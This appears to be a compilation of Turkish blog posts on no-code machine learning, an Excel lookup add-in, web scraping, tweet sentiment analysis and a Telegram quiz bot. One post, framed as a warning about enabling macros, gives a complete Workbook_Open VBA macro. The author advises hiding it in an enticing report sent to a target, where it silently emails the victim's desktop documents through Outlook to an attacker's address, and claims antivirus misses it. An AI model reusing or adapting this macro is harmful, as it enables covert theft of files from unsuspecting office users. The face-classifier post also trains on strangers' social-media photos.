Merhaba arkadaşlar, bu yazıda size python ya da herhangi bir yazılım dili bilmeden nasıl makine öğrenmesini kullanabiliriz Ve bu yüz tanıma ile ilgili neler yapabiliriz onu anlatmak istiyorum. O zaman başlayalım!

Herhangi bir yazılım dili bilmeden bize yapay zeka ile makine öğrenmesinin kullanımı sağlayan bir internet sitemiz var. https://teachablemachine.withgoogle.com/ siteye resimlerinizi bilgisayardan, buluttan ya da webcam ile fotoğraf çekerek yükleyebiliyorsunuz ve bu yüklediğiniz resimleri sınıflandırarak verilerinizi eğitebiliyorsunuz. Örneğin 100 tane köpek resmi 100 tane de kedi resmini sınıflandırarak yüklediğinizde site bu verilerinizi öğrenerek dışarıdan başka bir resim gösterdiğinizde bunun kedi mi yoksa köpek mi olduğunu size belli bir olasılıkla söylüyor.

Ben ise bu yazıda, siteyi nasıl kullanabileceğinizi, bir resim yüklendiğinde kişinin Fener mi yoksa GS taraftarı mı olduğunu tahmin eden bir makine öğrenmesi uygulamasıyla göstereceğim. :)

Siteye girdiğimizde “Get Started” basarak uygulamamızı yapmaya başlayabiliriz. Sonrasında New Project’den ne üzerine çalışmak istiyorsak onu seçmeliyiz. Biz bir yüz tanıma uygulaması yapacağımızdan “Image Project” seçiyoruz. Ardından Standart image modelini kullanabiliriz.

Resim modelinin belirledikten sonra sınıflama işlemine geçilir. Benim yaptığım örnekte class1 Fenerbahçe class2 ise Galatasaraylı taraftarlar oldu.

Burada class1 ve Class2 isimlerinin değiştirebilirsiniz. Uygulamanın sonunda göreceksiniz tahmin yaparken bu class isimleri gözükeceğinden değiştirmeniz iyi olur.

Her bir taraftar grubu için 50 resim kullandım. Taraftarlar için resim seçerken instagram,twitter ve google aramayı kullandım. Ayrıca hepsinin erkek ve orta yaşlı olmasına dikkat ettim. örneğin siz daha kapsamlı bir çalışma yapmak isterseniz örneklemeyi arttırabilir. Yaşlara ve cinsiyete göre daha kapsamlı bir örnekleme yapabilirsiniz.

Burada şunu da belirtmek isterim ki bu uygulama masum olmakla birlikte resimlerinizin açık profilde olması sebebiyle belki de bilmediğiniz bir çok makine öğrenmesinin verisini oluşturduğunuzun farkında değilsiniz. Bence elinizden geldiğince profillerinizi gizli tutun ve sosyal medyalardaki Challengerlara katılmayın.

Resimleri yükleyip sınıflandırdığımıza göre artık modelimizi eğitebiliriz. Arkadaşlar Training kısmında olan olanlar Tensorflow için default değerlerdir. bugün python ile bu kodları yazsanız alttaki değerlerin aynı olduğunu görebilirsiniz. Ben hepsini default olarak bırakıyorum. Ama siz isterseniz bu değerlerle oynayıp belki de daha yakın olasılıklar elde edebilirsiniz.

Model Training ettikten sonra artık webcamden ya da resim yükleyerek modelimizi test edebilirsiniz.

Her iki takımın efsane isimleri olan Hagi ve Alex’in resimlerini yükleyip hangi takımın taraftarları olacağını merak ettim. Sonuç gerçekten şaşırtıcı oldu. Sanırım ikisi de gerçek bir GS ve Fenerli olmuş :)

Eğer isterseniz arkadaşlar daha sonra pythonda kullanmak üzere modeli export edebilirsiniz.

Artık hiçbir yazılım dili bilemden kendi makine öğrenmesi uygulamanızı yaptınız. Tebrikler.

Son olarak aklıma gelmişken;

• Bir kişinin hangi siyasi partiye oy vereceğini bilebilir miyiz?
• Bir bankacı olarak düşünüyorum; Bir müşteri şubeye girdiğinde ona hangi ürünleri satacağımızı tahmin edebilir miyiz

Sanırım örnekler çoğaltılabilir. Ya da belki de çoktan yapıldı ve hepimiz bilmediğimiz bir çok makine öğrenmemesinin verileriyiz.

Teşekkürler.

Yalnız şöyle bir sıkıntı var ÇAPRAZARA maalesef Excel 2016 ve Excel 2019 versiyonlarında yer almıyor. Şu an itibariyle sadece Microsoft 365 abonesiyseniz kullanabilirsiniz. işte bu yazı tam da burada araya giriyor.

Excelin eklentiler özelliğini kullanarak kendi ÇAPRAZARA fonksiyonumuzu oluşturacağız.

Yapmanız gerekenleri aşağıda üç adımda anlatacağım.

1-Öncelikle aşağıdaki “banquiz_caprazara.xlam” dosyasını bilgisayarınıza indirin.

https://disk.yandex.com.tr/d/tWZWobfWu_MRhg

2-Yeni bir excel açınız->Seçenekler->Eklentiler->Excel Eklentileri->Git

3-Listede Gözat kısmından “banquiz_caprazara.xlam” dosyasını bilgisayarınızda bulup ekleyin. (yukarıda kaydettiğiniz dosya)

Artık excelinizde BANQUIZ_CAPRAZARA fonksiyonunu kullanarak tablolarda dizin araması yapabilirsiniz.

Örneğin aşağıdakine benzer bir tablonuz var satırdan “B” yi sütundan da “Y” arıyoruz bunun sonucunu görmek için,

=BANQUIZ_CAPRAZARA(B3;B1:E5;D1)

-B3 Aranan Değer-Satır

-B1:E5 Tablo dizisi

-D1 Aranan Değer-SÜTUN

Sonuç=5

Tüm kodlar “banquiz_caprazara.xlam” içerisinde var. Alt-F11 yaparak visual basic uygulamasını açarak nasıl çalıştığını kontrol edebilirsiniz.

Ya da yine “DÜŞEYARA(“A”;A1:D5;KAÇINCI(“Y”;B1:D1;0)+1;0)” fonksiyonu ile aynı işlevi yapmaya devam edebilirsiniz :)

Kaynak:Çaprazara kod Eklentisi (excelvba.net)

VB -Visual Basic, Microsoft tarafından 1991 yılında Basic programlama dili ile geliştirilmiş bir programlama dilidir. Öğrenilmesi diğer programlama dillerine göre çok kolaydır.

VBA-Visual Basic for Applications ise Visual Basic programlama dilinin Microsoft ofis ürünlerine uyarlanmış hâlidir. Visual Basic programlama dilinin Excel’deki hali VBA’dir. VBA aslında bir nevi exceldeki makrolardır. yaptığınız makrolar excelde vba kodu olarak kaydedilir.

Şimdi gelelim exceldeki bu vba nın tehlikelerine;

Excelde “Düzenlenmeyi Etkinleştir’e” evet dediğinizde

• Sizin kurum mailinizden, sizin haberiniz olmadan kurumunuzun genel müdürüne müstehcen içerikli mail atabileceğini,
• Sizin kurum mailinizden sizin haberiniz olmadan herhangi bir kişiye bilgisayarınızdaki gizli bilgilerinizin, o anki bilgisayarınızın ekran görüntüsü, word, excel,pdf uzantılı dosyalar gönderilebileceğini,
• Bilgisayarınızdaki tüm dosyaların silinebileceği,
• Bilgisayarınızda herhangi bir dosya aratıp o dosyayı herhangi birine mail atma veya silme işleminin yapılabileceği,
• Outlook'taki tüm maillerin silinebileceğini,

biliyor muydunuz?

Şimdi gelelim bunların nasıl yapılabileceği kısmına aslında çoğunuz belkide internetten excel ile otomatik mail nasıl gönderirim diye aratıp kullanmışsınızdır. Ama excel ile mail göndermenin bu kadar tehlikeli olduğunun farkında değilsinizdir. Dediğim gibi internetten hemen şu an arama yaptığınızda bile excel ile mail nasıl gönderirim ile ilgili bir çok kod bulabilirisiniz. Peki bu kötü niyetli işlemleri excel nasıl yapıyor. Burada verdiğim kodlar tamamen kendinizi koruma amaçlıdır. Ve bir makroyu etkinleştir demenizin ne kadar tehlikeli olduğunu göstermek içindir.

O zaman başlayalım.

Öncelikle kodlar siz anlamayın diye önemli bir excel dosyasının içeriğine gizlenir. örneğin haftalık atılan bir satış raporu, yıllık takip rakamları, günlük mevduat tutarları vb. Yani karışı tarafa göndereceğiniz excel karşı taraftaki kişinin açacağı veya merak uyandıracağı bir excel olmalı.

Göndereceğiniz exceli netleştirdik sonra kodlar VBA da yer alan workbook open içeriğine yazılır. Bunun sebebi exceli açıp onay verdiğinizde kodları açılışta farkında olmadan çalıştır demiş oluyorsunuz. Yani herhangi bir onay butona basmadan kodlar çalışmaya başlar.

Benim amacım hedefimdeki kişinin masa üstündeki ilk 10 dosyayı kendime göndermek tabii bunu yaparken hedefimdeki kişinin haberi olmadan Outlook ile mail atmak. O yüzden önce hedefteki kişinin bilgisayarındaki masaüstü yolunu ve alacağım dosyaların uzantılarını belirliyorum.

Private Sub Workbook_Open()

Dim Makro As Object
Dim Mail As Object
Set Makro = CreateObject("Outlook.Application")
Set Mail = Makro.CreateItem(0)
On Error Resume Next

Dim MyFolder As String, MyFile As String
Dim i As Long

LastAuthor = ActiveWorkbook.BuiltinDocumentProperties("Last Author")
MyFolder = "C:\Belgelerim\" & LastAuthor & "\" & "Desktop"

MyFile = Dir(MyFolder & Application.PathSeparator & "*.xls", vbDirectory)
Do While MyFile <> ""
Cells(i + 1, 1) = MyFile
i = i + 1
MyFile = Dir
Loop

MyFile2 = Dir(MyFolder & Application.PathSeparator & "*.pdf", vbDirectory)
Do While MyFile2 <> ""
Cells(i + 1, 1) = MyFile2
i = i + 1
MyFile2 = Dir
Loop

MyFile3 = Dir(MyFolder & Application.PathSeparator & "*.docx", vbDirectory)
Do While MyFile3 <> ""
Cells(i + 1, 1) = MyFile3
i = i + 1
MyFile3 = Dir
Loop

dosya = MyFolder & "\" & Sayfa1.Cells(5, 1)
dosya2 = MyFolder & "\" & Sayfa1.Cells(4, 1)
dosya3 = MyFolder & "\" & Sayfa1.Cells(3, 1)
dosya4 = MyFolder & "\" & Sayfa1.Cells(2, 1)
dosya5 = MyFolder & "\" & Sayfa1.Cells(1, 1)
dosya6 = MyFolder & "\" & Sayfa1.Cells(6, 1)
dosya7 = MyFolder & "\" & Sayfa1.Cells(7, 1)
dosya8 = MyFolder & "\" & Sayfa1.Cells(8, 1)
dosya9 = MyFolder & "\" & Sayfa1.Cells(9, 1)
dosya10 = MyFolder & "\" & Sayfa1.Cells(10, 1)

dosyaları da aldıktan sonra artık bu dosyları Outlook ile maile ekleyerek kullanıcının haberi olmadan kendimize mail atacağız.

With Mail
.To = "mailin kime gitmek istediğini yazın->kendimegonder@gmail.com"
'.CC = "isterseniz cc olarak ta atabilirsiniz"
'.BCC = ""
.Subject = "Kamil'in bilgisayarından gizlice gelen dosyalar"
.Body = " Tebrikler Kamil'in haberş olmadan dosyaları kendine gönderdin "
.Attachments.Add dosya
.Attachments.Add dosya2
.Attachments.Add dosya3
.Attachments.Add dosya4
.Attachments.Add dosya5
.Attachments.Add dosya6
.Attachments.Add dosya7
.Attachments.Add dosya8
.Attachments.Add dosya9
.Attachments.Add dosya10
.Send
End With
On Error GoTo 0
Set Mail = Nothing
Set Makro = Nothing
End Sub

Evet artık exceli gönderdiğiniz arkadaşınızın bilgisayarınızdaki dosyaları kendinize Outlook ile mail yoluyla gizlice göndermiş oldunuz..

Bunu hiçbir antivirüs programı yakalamıyor. O yüzden aslında kurumsal firmalar için büyük açıklar doğmaktadır. Dediğim gibi bunu paylaşmaktaki amacım artık bir excelde bir makroya onay verirken iki kere düşünmeniz. umarım faydalı olmuştur. Buraya kadar okuyan herkese teşekkürler :)

İşinizle ilgili olarak her gün resmi gazeteyi takip ediyorsanız. bu kodlar çok işinize yarayacak demektir.

Bunu için iki tane kütüphaneye ihtiyacımız var. Bunlardan biri “requests” diğeri ise “BeautifulSoup”

web sayfası linki de bizim için önemlidir. Resmi gazete linki ;

“https://www.resmigazete.gov.tr/17.09.2022”

T.C. Resmî Gazete

biz burada tarih kısmını bir değişkene atayacağız. böylelikle istediğimiz bir tarihteki resmi gazeteyi python ile çekebiliriz.

requests kütüphanesi ile tüm sayfadaki bilgileri alıyoruz. alıyoruz ama burada aldığımız bilgiler istediğimiz formatta olmuyor. Aşağıdaki resimde görüldüğü gibi;

O yüzen bizim bunu okunabilir yani HTML formatına çevirmemiz gerekiyor. onu da “BeautifulSoup” ile yapıyoruz.

HTML formatına da dönüştürdüğümüze göre artık. nereden ne bilgi alabiliriz ona bakalım. onun için google chrome geçiş yapalım (ben chrome kullanıyorum isteyen firefox veya diğer explorerları tercih edebilir)

sayfadayken sağa tıklayıp incele yapalım.

Buradan bizim haber bloğumuzun yer aldığı HTML alanını bulmamız gerekiyor. onu da “div”, {“class”: “fihrist-item mb-1”} içerisinde olduğunu rahatlıkla görüyoruz.

ve her bilginin a bloğunda yer aldığını tespit ediyoruz.

buradaki kodlarımız da aynen şu şekilde. önce tüm gazetedeki bilgileri getir değişkine atıyoruz. sonrada bunları for ile döndürüyoruz.

sonuç;

tabii ki bunların hepsini daha güzel bir formatta gösterebilir. Ya da daha önceki anlattığım telegram botunu kullanarak kendinize günlük olarak resmi gazete gönderme işlemini yapabilirsiniz (ki ben yaptım)

umarım faydalı olmuştur. kodları paylaşıyorum. herkese iyi paytınlamalar.

resmi_gazete_veri_cekme

Twitter ile yaptığım duygu analiz çalışmasını sizle paylaşacağım. umarım faydalı olur. eksik gördüğünüz bir kısım olursa ve paylaşırsanız sevinirim.

İsteyenler data setini https://www.kaggle.com/datasets/bahadr80/ziraat-tweet-duygu-analiz buradan indirebilirler. Twitter’dan veri çekme kısmını ise başka bir yazıda anlatmayı düşünüyorum.

Öncelikle. aşağıdaki kütüphaneleri çalıştıralım.

import pandas as pd
import numpy as np
from zemberek import (
TurkishSpellChecker,
TurkishSentenceNormalizer,
TurkishSentenceExtractor,
TurkishMorphology,
TurkishTokenizer
)

zemberek kütüphanesini çalıştırmak için !pip install zemberek-python yapmamız gerekiyor.

pandas ile excel doyasını yüklüyoruz.

df=pd.read_excel(“sonuclar_duygu.xlsx”)

Büyük harflerin hepsini önce küçük harfe çeviriyoruz. Yapay zeka algoritmaları kelimeleri küçük harf olarak istiyor.

data[“Tweet”]=data[“Tweet”].apply(lambda x:” “.join(x.lower() for x in x.split()))

Tweetlerde geçen hastag ve hespları çıkarıyoruz.

df[‘hastag_coz’]=df[“Tweet”]
df[‘hesap_coz’]=df[“Tweet”]

#hastag olanlari ayır

df[‘Tweet’]=df[“Tweet”].apply(lambda x:” “.join(x for x in x.split() if not x.startswith(“#”)))

#hesap olanlari ayır

df[‘Tweet’]=df[“Tweet”].apply(lambda x:” “.join(x for x in x.split() if not x.startswith(“@”)))

#noktalama işaretlerini çıkarıyoruz

df[“Tweet”]=df[“Tweet”].str.replace(“[^\w\s]”,””)

#sayılar içeren ifadeleri çıkarıyoruz.

df[“Tweet”] = df[“Tweet”].str.replace(“\d”,””)

sw = pd.read_excel(“stopwords.xlsx”)

#tweetlerda kalan http ve twitter.com kelimelerini temizliyoruz.

df[‘Tweet’]=df[“Tweet”].apply(lambda x:” “.join(x for x in x.split() if not x.startswith(“http”)))
df[‘Tweet’]=df[“Tweet”].apply(lambda x:” “.join(x for x in x.split() if not x.startswith(“twittercom”)))

#aynı tweetler varsa son kez bakıp siliyoruz.

df[‘Tweet’].drop_duplicates

Zemberek kütüphanesini kullanarak tweetlerda kullanılan kelimeleri düzeltiyoruz. yanlış kelimeleri çıkarıyoruz.

Örneğin:”kalemik” ifadesi “kalemi” oluyor gibi.

morphology = TurkishMorphology.create_with_defaults()
normalizer = TurkishSentenceNormalizer(morphology)

sc = TurkishSpellChecker(morphology)

#kelimelerin doğrusu

df[“Tweet”]=df[“Tweet”].apply(lambda x:” “.join(normalizer.normalize(x) for x in x.split()))

Genelde stopwords kelimeleri için türkçe NLTK kütüphanesi kullanılıyor fakat ben onu yeterli görmediğim için kendi stopwords kütüphanemi oluşturdum. ve onu kullanıyorum. Stopwords nedir diye soran arkadaşlar için kısaca özet geçeyim. cümlelerde yer alan ve, için, veya gibi makine öğrenmesinde yanıltıcı olacağı düşünülen bu kelimeleri cümlelerden çıkarıyoruz.

onu da isterseniz buradan indirebilirsiniz. https://www.kaggle.com/datasets/bahadr80/stop-words-turkce

sw = pd.read_excel(“stopwords.xlsx”)

df[“Tweet”]=df[“Tweet”].apply(lambda x:” “.join(x for x in x.split() if x not in sw[“a”].values))

#Burada daha sonra başka bir veri analizde kullanmak için tüm kelimelerin frekanslarını alıyorum.

freq_df = df[“Tweet”].apply(lambda x: pd.value_counts(x.split(“ “))).sum(axis =0).reset_index()
freq_df.columns = [“kelimeler”,”frekanslar”]

freq_df=freq_df.sort_values(by=’frekanslar’, ascending=False)

Burada arkadaşlar zemberek kütüphanesini kullanarak tweetlerde yer alan anlamsız tweetleri çıkarıyorum. burada onları bulunca tüm tweetlerden çıkaracağım. Bu işlem tweet sayısına göre uzun sürebilir.

freq_df[“kelimeler2”]=freq_df[“kelimeler”].apply(lambda x:” “.join(x for x in x.split() if str(sc.suggest_for_word(x)) == “()”))

anlamsız kelimeleri tweetlerden çıkarıyoruz.

anlamsiz_kelimeler=freq_df[freq_df.kelimeler2!=””]

for temizle in anlamsiz_kelimeler[“kelimeler”]:
df[“Tweet”]=df[“Tweet”].str.replace(temizle,””)

Artık makine öğrenmesi kısmına yavaş yavaş geçebiliriz.

vectorizer ile tüm kelimeleri çıkarıyoruz ve bunları sütunlara yerleştiryoruz. sonra her bir tweet için bu kelimelerin var yok şeklinde 1 0 1 0 1 0 şeklinde kodluyoruz. örneğin birinci tweetde geçen kelimler 10110101 şeklinde kodlandıktan sonra bunun duygu sonucu 1 şeklinde karşılık alacak. algoritmalarda bunu öğrenerek yeni bir tweet geldiğinde kelimeleri 101010101 şeklinde kodladıktan sonra buna 1 ya da 0 değerini atayacak.

ben size 4 tane algoritma üzerinden sonuçları göstereceğim siz diğer algoritmalardan ne çıkacağına bakabilirsiniz. eğer çıkan skorları paylaşırsanız bu dataset için en iyi algoritma hangisi görmüş oluruz.

from sklearn.feature_extraction.text import CountVectorizer
vectorizer = CountVectorizer()

from sklearn.model_selection import train_test_split

x = df[“Tweet”]
y = df[“duygu”]

Test ve eğitim datalarımızı ayırıyoruz.

train_x, test_x, y_train, y_test = train_test_split(x,y, test_size = 0.25)

vectorizer = CountVectorizer()

# train verilerimizi feature vektöre matrisine çeviriyoruz

train_x = vectorizer.fit_transform(train_x)
train_x = train_x.toarray()
train_y = y_train

from sklearn.metrics import confusion_matrix, accuracy_score
import scikitplot.metrics as splt

test_xx = vectorizer.transform(test_x)
test_xx = test_xx.toarray()

from sklearn.ensemble import RandomForestClassifier
model = RandomForestClassifier(n_estimators = 100)
model.fit(train_x, train_y)

test_predict = model.predict(test_xx)

dogruluk = roc_auc_score(y_test, test_predict)
print(“Doğruluk oranı : % “, dogruluk * 100)

Doğruluk oranı : % 77.44706284153006

print(confusion_matrix(y_test, test_predict))

splt.plot_confusion_matrix(y_test, test_predict)

[[126 57]
[ 67 413]]

print(model.score(test_xx, y_test))

0.8129713423831071

gayet başarılı bir skor elde ettiğimizi düşünüyorum.

from sklearn import tree
ka=tree.DecisionTreeClassifier()

ka.fit(train_x, train_y)

‘’’Test verisi için tahmin yapalım’’’
test_predict = ka.predict(test_xx)

dogruluk2 = roc_auc_score(y_test, test_predict)
print(“Doğruluk oranı : % “, dogruluk2 * 100)

Doğruluk oranı : % 77.45901639344262

print(confusion_matrix(y_test, test_predict))

splt.plot_confusion_matrix(y_test, test_predict)

[[131 52]
[ 80 400]]

print(ka.score(test_xx, y_test))

0.8009049773755657

from sklearn.naive_bayes import GaussianNB
nba=GaussianNB()
nba_model=nba.fit(train_x, train_y)
test_predict=nba_model.predict(test_xx)

dogruluk3 = roc_auc_score(y_test, test_predict)
print(“Doğruluk oranı : % “, dogruluk3 * 100)

Doğruluk oranı : % 83.94125683060109
print(confusion_matrix(y_test, test_predict))

[[141 42]
[ 44 436]]

splt.plot_confusion_matrix(y_test, test_predict)

print(nba_model.score(test_xx, y_test))

0.8702865761689291

from sklearn.linear_model import LogisticRegression

logit_model = LogisticRegression(max_iter=1000)
logit_model.fit(train_x, train_y)

test_predict=logit_model.predict(test_xx)

dogruluk5 = roc_auc_score(y_test, test_predict)
print(“Doğruluk oranı : % “, dogruluk5 * 100)

% 83.5792349726776

print(confusion_matrix(y_test, test_predict))

[[129 54]
[ 16 464]]

print(logit_model.score(test_xx, y_test))

0.8944193061840121

evet arkadaşlar yaptığımız 4 algoritmada en iyi sonucu Logistic Regression verdi. ben diğer model üzerinde de deneme yaptım. onların ve kodların tamamına ulaşmak için buraya tıklayabilirsiniz.https://www.kaggle.com/code/bahadr80/turkce-tweet-duygu-analiz umarım faydası olmuştur. herkes iyi paytınlamalar :)

Öncelikle pandas kütüphanesini çağıracağız.

import pandas as pd

eğer sizin de dosyanız Sqlite ise sqlite3 kütüphanesini de import etmemiz gerekiyor.

import sqlite3

örneğin soruların olduğu dosyanın adı “sorular.sqlite” olsun ve soruların olduğu tablonun ismi ise “testler” o zaman aşağıdaki gibi soruları pythona çekebiliriz.

baglan = sqlite3.connect("sorular.sqlite")

df=pd.read_sql('SELECT * FROM testler', con)

Eğer excel dosyası ise ve adı “sorular.xlsx” ise o zaman sadece pandas kullanmanız yeterli olacaktır.

df = pd.read_excel("sorular.sqlite")

burada ayrıca şunu da belirtmek isterim. Hazırladığınız excelde cevapla A,B,C vb şeklindeyse bunları 0,1,2,3,4 şeklinde değiştirmeniz gerekiyor. Çünkü Telegram cevapları sayı şeklinde algılıyor. Ben bunla ilgili bir fonksiyon yazdım. Size hangisi daha kolay geliyorsa onu uygulayabilirsiniz.

def dogrucevap(cevap_cevir):

    if cevap_cevir=="A":

        return "0"

    if cevap_cevir=="B":

        return "1"

    if cevap_cevir=="C":

        return "2"

    if cevap_cevir=="D":

        return "3"

    if cevap_cevir=="E":

        return "4"

Soru göndermede benim grupta kullandığım birkaç yöntem var. 25/50/100’lü denemeler. Tek tek soru gönderme ya da genel yetenek/parabanka gibi 15 lü testler gönderme. Ben bunlardan size rastgele tekli soru gönderimi anlatacağım. zaten bunu öğrendikten sonra kolayca siz de diğerlerini yapabileceksiniz.

Main fonksiyonunun içine aşağıdaki kodu ekleyelim

dispatcher.add_handler(CommandHandler('BanQuizSoru', BanQuizSoru))

BanQuizsoru adında bir fonksiyon oluşturalım

def BanQuizSoru(update: Update, context: CallbackContext) -> None:

Random soru göndereceğimiz için randomu import ediyoruz ve veri tabanımızda yer alan soru adedi kadar aralık belirliyoruz.

import random

random_sayı=random.randint(1,10000)

Telegram’ın bir başka handikabı ise soru ve cevaplardaki karakter sınırlaması, o yüzden veri tabanınızda bulunan soruların karakter sınırından emin değilseniz bunu kontrol etmeniz gerekiyor.

while True:

    random_sayı = random.randint(1, 10000)

    if df.iloc[random_sayı, 6] is None:

        if (len(df.iloc[random_sayı, 1]) < 245 and len(df.iloc[random_sayı, 2]) < 100

                and len(df.iloc[random_sayı, 3]) < 100 and len(df.iloc[random_sayı, 4]) < 100

                and len(df.iloc[random_sayı, 5]) < 100):

            break

    else:

        if (len(df.iloc[random_sayı, 1]) < 245 and len(df.iloc[random_sayı, 2]) < 100

                and len(df.iloc[random_sayı, 3]) < 100 and len(df.iloc[random_sayı, 4]) < 100

                and len(df.iloc[random_sayı, 5]) < 100 and len(df.iloc[random_sayı, 6]) < 100):

            break

yukarıda ki komutta şuna da açıklık getiriyeyim df.iloc komutu ile dosyamızın satır ve sütununa erişiyoruz. Parantez içerisindeki ilk kısım satır ikinci kısım iste sütunu ifade eder. “df.iloc[random_sayı, 6] is None” yapmamızın sebebi E şıkı olmayan sorular içindir. Eğer bunu yapmazsak hata alır ve bot çalışmaz. Benim soru bankam aşağıdaki resimdeki gibi satır ve sütunlara sahip. Baştan 0 ile sayarsanız 6.sütun E şıkkına geldiğini görürüsünüz.

Soru gönderirken de aynı kontrolü yapmamız gerekiyor.

if df.iloc[random_sayı, 6] is None:

    questions = [str(df.iloc[random_sayı, 2]), str(df.iloc[random_sayı, 3]), str(df.iloc[random_sayı, 4]),

                 str(df.iloc[random_sayı, 5])]

else:

    questions = [str(df.iloc[random_sayı, 2]), str(df.iloc[random_sayı, 3]), str(df.iloc[random_sayı, 4]),

                 str(df.iloc[random_sayı, 5]), str(df.iloc[random_sayı, 6])]

#dogru_cevap_yaz = dogrucevap(df.iloc[random_sayı, 7])

message = update.effective_message.reply_poll(

    "[" + str(i) + "/" + str(sorusayisi) + "]." + str(df.iloc[random_sayı, 1]), questions,

    is_anonymous=False, type=Poll.QUIZ, explanation=explanation1, correct_option_id=int(dogru_cevap_yaz)

)

questions değişkenimle soruları şıklarıyla beraber alıyorum. Telegram’da soru gönderme komutu “update.effective_message.reply_poll”dır. Ve parantez içerisinde girilmesi gerek ifadeler şöyledir. (“soru”, is_anonymous=False(cevap verenler gözüksün mü), type=Poll.QUIZ (test mi olsun), explanation=explanation1(soruyu cevaplayanlara bilgi mesajı gönder), correct_option_id=int(dogru_cevap_yaz))

cevap bilgilerini de yakalamak için ;

payload = {

    message.poll.id: {

        "questions": questions,

        "message_id": message.message_id,

        "chat_id": update.effective_chat.id,

        "answers": df.iloc[random_sayı, 7],

    }

isteğe bağlı olarak da soru gönderiminden sonra butonlar ekleyebilirsiniz.

button = [[InlineKeyboardButton("Daha Fazla Soru için Google Play'den Uygulamayı Yükleyiniz",

                                url='https://play.google.com/store/apps/details?id=test.ilk.test')],

          [InlineKeyboardButton("İnstagram'dan Takip İçin", url='https://www.instagram.com/banquiz_tr/')],

          [InlineKeyboardButton("Twitter'dan Takip İçin", url='https://twitter.com/banquiz_tr')]

          ]

message2 = "Bu sorular BanQuiz uygulaması denemelerinden alınmıştır. Daha fazla soru için BanQuiz uygulamasını Google Play'den indirmeyi unutmayınız"

# using one_time_keyboard to hide the keyboard

update.effective_message.reply_text(

    message2, reply_markup=InlineKeyboardMarkup(button, one_time_keyboard=True)

)

anlatacaklarım bu kadar. Umarım faydalı olmuştur. Aşağıda tüm kodları paylaşıyor olacağım herkese iyi paytınlamalar :)

from telegram import (

    Poll,

    ParseMode,

    KeyboardButton,

    KeyboardButtonPollType,

    ReplyKeyboardMarkup,

    ReplyKeyboardRemove,

    Update, InlineKeyboardButton, PollAnswer, InlineKeyboardMarkup,

    User, Message, Update, Chat, ChatMember, UserProfilePhotos, File,

    ReplyMarkup, TelegramObject, WebhookInfo, GameHighScore, StickerSet,

    PhotoSize, Audio, Document, Sticker, Video, Animation, Voice, VideoNote,

    Location, Venue, Contact, InputFile, Poll, ChatPermissions, TelegramObject, constants

)

from telegram.ext import (

    Updater,

    CommandHandler,

    PollAnswerHandler,

    PollHandler,

    MessageHandler,

    Filters,

    CallbackContext, ChatMemberHandler,

)

import pandas as pd

import sqlite3

import random

def BanQuizSoru(update: Update, context: CallbackContext) -> None:  # bunu kullanıyorum

    sorusayisi = 1

    id_bul = update.message.chat_id

    con = sqlite3.connect("sorular.sqlite")

    df = pd.read_sql('SELECT * FROM test1', con)

    global i,rdb,rdbu 

    for i in range(sorusayisi):

        # time.sleep(5)

        rdb = 1

        rdbu = 10000

        explanation1 = "Bu sorular BanQuiz uygulamasından alınmıştır. Daha fazla soru için BanQuiz uygulamasını Google Play'den indirmeyi unutmayınız."

        random_sayı = random.randint(rdb, rdbu)

        while True:

            random_sayı = random.randint(rdb, rdbu)

            if df.iloc[random_sayı, 6] is None:

                if (len(df.iloc[random_sayı, 1]) < 245 and len(df.iloc[random_sayı, 2]) < 100

                        and len(df.iloc[random_sayı, 3]) < 100 and len(df.iloc[random_sayı, 4]) < 100

                        and len(df.iloc[random_sayı, 5]) < 100):

                    break

            else:

                if (len(df.iloc[random_sayı, 1]) < 245 and len(df.iloc[random_sayı, 2]) < 100

                        and len(df.iloc[random_sayı, 3]) < 100 and len(df.iloc[random_sayı, 4]) < 100

                        and len(df.iloc[random_sayı, 5]) < 100 and len(df.iloc[random_sayı, 6]) < 100):

                    break

        if i < sorusayisi:

            i = i + 1

            if df.iloc[random_sayı, 6] is None:

                questions = [str(df.iloc[random_sayı, 2]), str(df.iloc[random_sayı, 3]), str(df.iloc[random_sayı, 4]),

                             str(df.iloc[random_sayı, 5])]

            else:

                questions = [str(df.iloc[random_sayı, 2]), str(df.iloc[random_sayı, 3]), str(df.iloc[random_sayı, 4]),

                             str(df.iloc[random_sayı, 5]), str(df.iloc[random_sayı, 6])]

            dogru_cevap_yaz = dogrucevap(df.iloc[random_sayı, 7])

            message = update.effective_message.reply_poll(

                "[" + str(i) + "/" + str(sorusayisi) + "]." + str(df.iloc[random_sayı, 1]), questions,

                is_anonymous=False, type=Poll.QUIZ, explanation=explanation1, correct_option_id=int(dogru_cevap_yaz)

            )

            # Save some info about the poll the bot_data for later use in receive_quiz_answer

            payload = {

                message.poll.id: {

                    "questions": questions,

                    "message_id": message.message_id,

                    "chat_id": update.effective_chat.id,

                    "answers": df.iloc[random_sayı, 7],

                }

            }

            context.bot_data.update(payload)

        if i >= sorusayisi:

            # update.message.reply_text("Test Bitmiştir. Herkese Teşekkürler")

            button = [[InlineKeyboardButton("Daha Fazla Soru için Google Play'den Uygulamayı Yükleyiniz",

                                            url='https://play.google.com/store/apps/details?id=test.ilk.test')],

                      [InlineKeyboardButton("İnstagram'dan Takip İçin", url='https://www.instagram.com/banquiz_tr/')],

                      [InlineKeyboardButton("Twitter'dan Takip İçin", url='https://twitter.com/banquiz_tr')]

                      ]

            message2 = "Bu sorular BanQuiz uygulaması denemelerinden alınmıştır. Daha fazla soru için BanQuiz uygulamasını Google Play'den indirmeyi unutmayınız"

            # using one_time_keyboard to hide the keyboard

            update.effective_message.reply_text(

                message2, reply_markup=InlineKeyboardMarkup(button, one_time_keyboard=True)

            )

def otomatikcevap(update: Update, context: CallbackContext) -> None:

    gelen = update.message.text

    gelen2 = update.effective_user.name

    gelen3 = update.effective_user.id

    if gelen.lower().find("salak") != -1 or gelen.lower().find("aptal") != -1:

        s = update.effective_user.name

        update.message.reply_text(s + " Lütfen Daha Terbiyeli Olalım")

def dogrucevap(cevap_cevir):

    if cevap_cevir=="A":

        return "0"

    if cevap_cevir=="B":

        return "1"

    if cevap_cevir=="C":

        return "2"

    if cevap_cevir=="D":

        return "3"

    if cevap_cevir=="E":

        return "4"

def main() -> None:

    """Run bot."""

    updater = Updater("**************************")

    dispatcher = updater.dispatcher

    dispatcher.add_handler(CommandHandler('BanQuizSoru', BanQuizSoru))

    updater.start_polling()

    updater.idle()

if __name__ == '__main__':

    main()

Bu benim mediumda ilk yazım olduğu için herkesten şimdiden hatalar için affımı istiyorum.

İlk yazımda Telegram grubunda da (“BanQuiz-İletişim Ve Paylaşım Platformu”) kullanmakta olduğum BanQuiz botun yapımını anlatacağım.

Python kodlamaya geçmeden önce Telegram ’da bir bot oluşturacağız.

